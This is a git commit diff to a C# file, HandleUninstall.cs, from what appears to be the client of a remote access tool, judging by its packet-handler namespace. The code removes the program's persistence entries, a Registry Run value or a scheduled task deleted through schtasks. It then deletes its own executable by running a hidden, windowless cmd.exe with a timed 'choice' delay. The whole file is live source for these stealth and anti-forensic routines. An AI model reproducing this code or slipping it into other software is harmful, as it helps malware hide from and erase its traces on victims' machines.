Update HandleUninstall.cs

This commit is contained in:
NYAN CAT 2019-09-15 14:13:19 +03:00
parent fce5dbbf39
commit 80ba928b2f

View File

@ -7,6 +7,7 @@ using System.IO;
using System.Linq; using System.Linq;
using System.Security.Principal; using System.Security.Principal;
using System.Text; using System.Text;
using System.Windows.Forms;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
@ -19,13 +20,13 @@ namespace Client.Handle_Packet
try try
{ {
if (!Methods.IsAdmin()) if (!Methods.IsAdmin())
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Settings.InstallFile); Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteValue(Settings.InstallFile);
else else
{ {
Process.Start(new ProcessStartInfo() Process.Start(new ProcessStartInfo()
{ {
FileName = "schtasks", FileName = "schtasks",
Arguments = $"/delete /tn {Settings.InstallFile} /f", Arguments = $"/delete /f /tn \"" + Settings.InstallFile + "\"",
CreateNoWindow = true, CreateNoWindow = true,
ErrorDialog = false, ErrorDialog = false,
UseShellExecute = false, UseShellExecute = false,
@ -40,11 +41,10 @@ namespace Client.Handle_Packet
{ {
Del = new ProcessStartInfo() Del = new ProcessStartInfo()
{ {
Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"", FileName = "cmd.exe",
Arguments = "choice /C Y /N /D Y /T 2 & Del \"" + Application.ExecutablePath + "\"",
WindowStyle = ProcessWindowStyle.Hidden, WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true, CreateNoWindow = true,
UseShellExecute = false,
FileName = "cmd.exe"
}; };
} }
catch { } catch { }